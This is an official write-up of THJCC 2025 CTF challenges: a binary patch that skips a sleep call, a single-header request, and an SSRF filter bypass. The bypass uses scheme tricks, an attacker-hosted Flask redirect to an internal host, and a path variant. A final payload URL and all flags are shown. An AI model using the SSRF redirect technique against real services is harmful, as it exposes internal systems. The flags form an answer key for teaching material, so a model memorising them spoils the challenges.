THJCC 2025 Official-Writeup

THJCC 2025 的官方題解

周三 4月 30 2025
1649 字 · 13 分鐘

Reverse

time_GEM

Terminal window
tag : rev,easy
I used the Time GEM to put the flag to sleep...

主要的考點是 patch (所以出的像是 AIS3 某一題)


先來執行看看:

Terminal window
soar@universe:/mnt/c/Users/tusoar/Downloads$ ./time_gem_rev
I used the Time GEM to put the flag to sleep...
Hope you can wake it up!
------------------------------splitline!-----------------------------------
T

恩…輸出一個 T 就停住了 來拖進 IDA 看一下

int __fastcall main(int argc, const char **argv, const char **envp)
{
puts("I used the Time GEM to put the flag to sleep...");
puts("Hope you can wake it up!");
puts("------------------------------splitline!-----------------------------------");
time_gem("------------------------------splitline!-----------------------------------", argv);
return 0;
}
  • time_gem
unsigned __int64 power()
{
void *v0; // rsp
__int64 v2; // [rsp+8h] [rbp-160h] BYREF
int i; // [rsp+10h] [rbp-158h]
int v4; // [rsp+14h] [rbp-154h]
int v5; // [rsp+18h] [rbp-150h]
int v6; // [rsp+1Ch] [rbp-14Ch]
char *s; // [rsp+20h] [rbp-148h]
__int64 v8; // [rsp+28h] [rbp-140h]
__int64 *v9; // [rsp+30h] [rbp-138h]
_BYTE v10[280]; // [rsp+38h] [rbp-130h] BYREF
unsigned __int64 v11; // [rsp+150h] [rbp-18h]
v11 = __readfsqword(0x28u);
qmemcpy(v10, &unk_2060, 0x10CuLL);
v4 = 67;
s = "THJCCISSOGOODIMNOTTHEFLAG!!!";
v8 = 67LL;
v0 = alloca(80LL);
v9 = &v2;
v5 = strlen("THJCCISSOGOODIMNOTTHEFLAG!!!");
for ( i = 0; i < v4; ++i )
{
v6 = s[i % v5] ^ (i % 256);
*((_BYTE *)v9 + i) = v6 ^ v10[4 * i];
printf("%c\n", (unsigned int)*((char *)v9 + i));
sleep(0x1337u);
}
return v11 - __readfsqword(0x28u);
}

可以看到他對資料進行的某些操作,並會把他一個一個字元的印出來 (猜測是 FLAG) 但他在每個字元做完後會睡 0x1337

這時候我們可以善用 IDA 的 patch 功能,把睡的秒數用掉就好了

先打開組語視窗並找到要呼叫 _sleep 那邊,可以看到

image

1337h 就是要睡的秒數

這邊我是用 Edit -> Patch program -> Assemble

image

改成 0h 後按 OK

image

最後按 Edit -> Patch program -> Apply patches to input file...

再去執行一次程式後就看到 FLAG 跑出來了~

Terminal window
soar@universe:/mnt/c/Users/tusoar/Downloads$ ./time_gem_rev
I used the Time GEM to put the flag to sleep...
Hope you can wake it up!
------------------------------splitline!-----------------------------------
T
H
J
C
C
{
H
0
w
_
I
_
e
n
V
Y
_
4
N
d
_
W
1
5
H
_
r
e
4
L
1
7
Y
_
k
0
u
L
d
_
4
L
5
0
_
k
0
N
7
R
0
l
_
T
I
M
E
-
-
>
=
.
=
!
!
!
}

或是你可以硬逆回來也不是不行

THJCC{H0w_I_enVY_4Nd_W15H_re4L17Y_k0uLd_4L50_k0N7R0l_TIME—>=.=!!!}

Web

Headless

tag : web,easy
I think robots are headless, but you are a real human, right?

觀察一下,是個甚麼都沒有的網頁,但題目有提示你要去 robots.txt 裡面有個 /hum4n-0nLy 的 route

進去之後會發現它其實是這題的 source code:

from flask import Flask, request, render_template, Response
from flag import FLAG
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/robots.txt')
def noindex():
r = Response(
response="User-Agent: *\nDisallow: /hum4n-0nLy\n",
status=200,
mimetype="text/plain"
)
r.headers["Content-Type"] = "text/plain; charset=utf-8"
return r
@app.route('/hum4n-0nLy')
def source_code():
return open(__file__).read()
@app.route('/r0b07-0Nly-9e925dc2d11970c33393990e93664e9d')
def secret_flag():
if len(request.headers) > 1:
return "I'm sure robots are headless, but you are not a robot, right?"
return FLAG
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)

有個 /r0b07-0Nly-9e925dc2d11970c33393990e93664e9d 可以獲得 FLAG,但請求標頭不能大於一,這邊可以用很多方法送 curl,nc,burp suite… 都可以!

這邊示範用 burp suite 送

image

唯一的坑點應該就是如果你用 burp suite 送,最後那邊應該要兩個 \r\n 不然會卡住

THJCC{Rob0t_r=@lways_he@dl3ss…}

proxy | under_development

Terminal window
tag : web,hard
More verification! More features!
Bypass the impossible verification logic and try to fetch secret.flag.thjcc.tw/flag to get the FLAG!

沒錯,流量轉發到別人家的題目又來了

上次說要出 revenge 後原本想找 1day 來出,但發現這樣好像不太好玩,所以這題就變成各種玩 url 的小花招 (如果你平常很閒沒事一直玩 url 應該很快就可以解出來)


先來看 source code:

const express = require('express');
const http = require('http');
const https = require('https');
const path = require('path');
const urlModule = require('url');
const dns = require('dns');
const { http: followHttp, https: followHttps } = require('follow-redirects');
const app = express();
app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
function CheckSeheme(scheme) {
return scheme.startsWith('http://') || scheme.startsWith('https://');
}
app.get('/fetch', (req, res) => {
const scheme = req.query.scheme;
const host = req.query.host;
const path = req.query.path;
if (!scheme || !host || !path) {
return res.status(400).send('Missing parameters');
}
const client = scheme.startsWith('https') ? followHttps : followHttp;
const fixedhost = 'extra-' + host + '.cggc.chummy.tw';
if (CheckSeheme(scheme.toLocaleLowerCase().trim())) {
return res.send('Development in progress! Service temporarily unavailable!');
}
const url = scheme + fixedhost + path;
const parsedUrl = new urlModule.URL(url);
dns.lookup(parsedUrl.hostname, { timeout: 3000 }, (err, address, family) => {
if (err) {
console.log('DNS lookup failed!');
}
if (address == '172.32.0.20') {
return res.status(403).send('Sorry, I cannot access this host');
}
});
if (parsedUrl.hostname.length < 13) {
return res.status(403).send('My host definitely more than 13 characters, Evil url go away!');
}
client.get(url, (response) => {
let data = '';
response.on('data', (chunk) => {
data += chunk;
});
response.on('end', () => {
res.send(data);
});
}).on('error', (err) => {
res.status(500).send('Failed to fetch data from the URL');
});
});
app.listen(3000, '0.0.0.0', () => {
console.log('Server running on http://0.0.0.0:3000');
});

目標是戳到 secret.flag.thjcc.tw/flag 但有幾關要繞 指定 domain 的部分一樣可以用 @ 去繞

但這次要克服更多的關卡

  • 首先是 scheme 的問題
function CheckSeheme(scheme) {
return scheme.startsWith('http://') || scheme.startsWith('https://');
}
const fixedhost = 'extra-' + host + '.cggc.chummy.tw';
if (CheckSeheme(scheme.toLocaleLowerCase().trim())) {
return res.send('Development in progress! Service temporarily unavailable!');
}

這次在前面加了前墜,還有過濾大小寫、空格這些限制 但其實 scheme 很寬鬆 你可以給 http:/\, http:/ , http:\\ 甚至不給 /,\ 都是可以的

  • 再來是 IP

可以先去看 docker-compose.yml 發現他幫 secret.flag.thjcc.tw 指定了 IP

version: "3.5"
services:
secret.flag.thjcc.tw:
build:
context: ./flag
networks:
custom_network:
ipv4_address: 172.32.0.20
proxy-under_development:
build:
context: ./src
environment:
- NODE_ENV=production
ports:
- 10068:3000/tcp
networks:
custom_network:
ipv4_address: 172.32.0.10
networks:
custom_network:
driver: bridge
ipam:
config:
- subnet: 172.32.0.0/16

接著在這個地方去做檢查,用 dnslookup 解析並限制你的 IP (其實也就是指你不能直接用 secret.flag.thjcc.tw 這個 domain)

dns.lookup(parsedUrl.hostname, { timeout: 3000 }, (err, address, family) => {
if (err) {
console.log('DNS lookup failed!');
}
if (address == '172.32.0.20') {
return res.status(403).send('Sorry, I cannot access this host');
}
});

觀察一下發現這次的 http 多開了 redirect 功能

const { http: followHttp, https: followHttps } = require('follow-redirects');

所以你可以自己寫一個網頁讓他訪問,再讓他 redirect 到 secret.flag.thjcc.tw/flag 就好。 ( 對了,如果你這關是 bypass node.js 的 url module 可以來 DM 我,我要跪你

  • 這邊示範用 python
from flask import Flask, redirect, url_for
app = Flask(__name__)
@app.route('/')
def home():
return redirect("http://secret.flag.thjcc.tw/flag/")
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0',port=48763)

寫好網頁後你可以用 VPS, 免費的 ngrok 或是 這個超酷的網站 架起來

沒錯,這段

if (parsedUrl.hostname.length < 13) {
return res.status(403).send('My host definitely more than 13 characters, Evil url go away!');
}

就是禁短網址用的,我不知道還有這種東西 www

  • 最後一步了

當你開心的指去 secret.flag.thjcc.tw/flag 時你會收到 I have said the service is temporarily unavailable now! (;′⌒`)

原因是因為 flag/app.js 中有個檢查是:

app.get('/flag', (req, res) => {
if (req.path === '/flag'){ // WTF?
return res.send('I have said the service is temporarily unavailable now! (;′⌒`)');
}
if (req.hostname === 'secret.flag.thjcc.tw')
return res.send(FLAG);
else
return res.send('Sorry, you are not allowed to access this page (;′⌒`)');
});

啥? 請求 flag route 但 request 的 path 又不能是 /flag ???

但我們可以自己實驗一下, req.path 顧名思義就是會存進你整個請求的路徑,所以我們的目標是做出跟 /flag 一樣效果的變種路徑

其實也有很多方法可以寫,像是 /flag/,/flag/meow/../ 等等

把這些想法串在一起送過去就獲得 FLAG 了!


  • payload
http://chal.ctf.scint.org:10068/fetch?scheme=http:/\&host=meow&path=@{redirect's url or server}

THJCC{--->redirection--->evil-websites--->redirection--->bypass!--->flag!}


Thanks for reading!

THJCC 2025 Official-Writeup

周三 4月 30 2025
1649 字 · 13 分鐘